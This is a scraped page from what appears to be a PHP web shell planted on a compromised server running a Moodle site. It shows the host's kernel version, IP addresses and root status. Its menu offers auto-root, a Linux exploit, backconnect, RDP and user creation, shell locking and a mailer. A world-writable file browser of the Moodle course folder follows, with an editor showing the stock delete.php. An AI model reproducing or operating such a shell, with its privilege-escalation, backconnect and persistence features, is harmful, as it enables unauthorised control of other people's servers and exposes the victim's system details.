Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
course /
[ HOME SHELL ]
Name
Size
Permission
Action
format
[ DIR ]
drwxrwxrwx
publish
[ DIR ]
drwxrwxrwx
report
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
category.php
1.21
KB
-rwxrwxrwx
changenumsections.php
2.19
KB
-rwxrwxrwx
completion.js
3.81
KB
-rwxrwxrwx
completion.php
5.1
KB
-rwxrwxrwx
completion_form.php
14.43
KB
-rwxrwxrwx
delete.php
3.19
KB
-rwxrwxrwx
delete_category_form.php
3.94
KB
-rwxrwxrwx
dndupload.js
39.78
KB
-rwxrwxrwx
dndupload.php
1.56
KB
-rwxrwxrwx
dnduploadlib.php
30.38
KB
-rwxrwxrwx
edit.php
6.99
KB
-rwxrwxrwx
edit_form.php
16.54
KB
-rwxrwxrwx
editcategory.php
4.34
KB
-rwxrwxrwx
editcategory_form.php
3.18
KB
-rwxrwxrwx
editsection.php
3.68
KB
-rwxrwxrwx
editsection_form.php
16.63
KB
-rwxrwxrwx
enrol.php
1021
B
-rwxrwxrwx
externallib.php
89.19
KB
-rwxrwxrwx
index.php
2
KB
-rwxrwxrwx
info.php
1.61
KB
-rwxrwxrwx
jumpto.php
1.23
KB
-rwxrwxrwx
lib.php
118.29
KB
-rwxrwxrwx
loginas.php
2.32
KB
-rwxrwxrwx
manage.php
31.95
KB
-rwxrwxrwx
mod.php
11.76
KB
-rwxrwxrwx
modduplicate.php
5.37
KB
-rwxrwxrwx
modedit.php
11.48
KB
-rwxrwxrwx
modlib.php
20.91
KB
-rwxrwxrwx
moodleform_mod.php
40.69
KB
-rwxrwxrwx
pending.php
5.44
KB
-rwxrwxrwx
recent.php
8.21
KB
-rwxrwxrwx
recent_form.php
6.72
KB
-rwxrwxrwx
renderer.php
100.62
KB
-rwxrwxrwx
report.php
1.32
KB
-rwxrwxrwx
request.php
2.27
KB
-rwxrwxrwx
request_form.php
6.54
KB
-rwxrwxrwx
reset.php
3.46
KB
-rwxrwxrwx
reset_form.php
6.51
KB
-rwxrwxrwx
resources.php
4.94
KB
-rwxrwxrwx
rest.php
8.79
KB
-rwxrwxrwx
scales.php
4.96
KB
-rwxrwxrwx
search.php
3.81
KB
-rwxrwxrwx
style.css
0
B
-rwxrwxrwx
switchrole.php
2.53
KB
-rwxrwxrwx
togglecompletion.php
6.13
KB
-rwxrwxrwx
user.php
4.93
KB
-rwxrwxrwx
view.php
11.49
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : delete.php
<?php // Admin-only code to delete a course utterly require_once(dirname(__FILE__) . '/../config.php'); require_once($CFG->dirroot . '/course/lib.php'); $id = required_param('id', PARAM_INT); // course id $delete = optional_param('delete', '', PARAM_ALPHANUM); // delete confirmation hash $PAGE->set_url('/course/delete.php', array('id' => $id)); $PAGE->set_context(context_system::instance()); require_login(); $site = get_site(); $strdeletecourse = get_string("deletecourse"); $stradministration = get_string("administration"); $strcategories = get_string("categories"); if (! $course = $DB->get_record("course", array("id"=>$id))) { print_error("invalidcourseid"); } if ($site->id == $course->id) { // can not delete frontpage! print_error("invalidcourseid"); } $coursecontext = context_course::instance($course->id); if (!can_delete_course($id)) { print_error('cannotdeletecourse'); } $category = $DB->get_record("course_categories", array("id"=>$course->category)); $courseshortname = format_string($course->shortname, true, array('context' => context_course::instance($course->id))); $categoryname = format_string($category->name, true, array('context' => context_coursecat::instance($category->id))); $PAGE->navbar->add($stradministration, new moodle_url('/admin/index.php/')); $PAGE->navbar->add($strcategories, new moodle_url('/course/index.php')); $PAGE->navbar->add($categoryname, new moodle_url('/course/index.php', array('categoryid' => $course->category))); if (! $delete) { $strdeletecheck = get_string("deletecheck", "", $courseshortname); $strdeletecoursecheck = get_string("deletecoursecheck"); $PAGE->navbar->add($strdeletecheck); $PAGE->set_title("$site->shortname: $strdeletecheck"); $PAGE->set_heading($site->fullname); echo $OUTPUT->header(); $message = "$strdeletecoursecheck<br /><br />" . format_string($course->fullname, true, array('context' => $coursecontext)) . " (" . $courseshortname . ")"; echo $OUTPUT->confirm($message, "delete.php?id=$course->id&delete=".md5($course->timemodified), "manage.php?categoryid=$course->category"); echo $OUTPUT->footer(); exit; } if ($delete != md5($course->timemodified)) { print_error("invalidmd5"); } if (!confirm_sesskey()) { print_error('confirmsesskeybad', 'error'); } // OK checks done, delete the course now. add_to_log(SITEID, "course", "delete", "view.php?id=$course->id", "$course->fullname (ID $course->id)"); $strdeletingcourse = get_string("deletingcourse", "", $courseshortname); $PAGE->navbar->add($strdeletingcourse); $PAGE->set_title("$site->shortname: $strdeletingcourse"); $PAGE->set_heading($site->fullname); echo $OUTPUT->header(); echo $OUTPUT->heading($strdeletingcourse); delete_course($course); fix_course_sortorder(); //update course count in catagories echo $OUTPUT->heading( get_string("deletedcourse", "", $courseshortname) ); echo $OUTPUT->continue_button("manage.php?categoryid=$course->category"); echo $OUTPUT->footer();
Close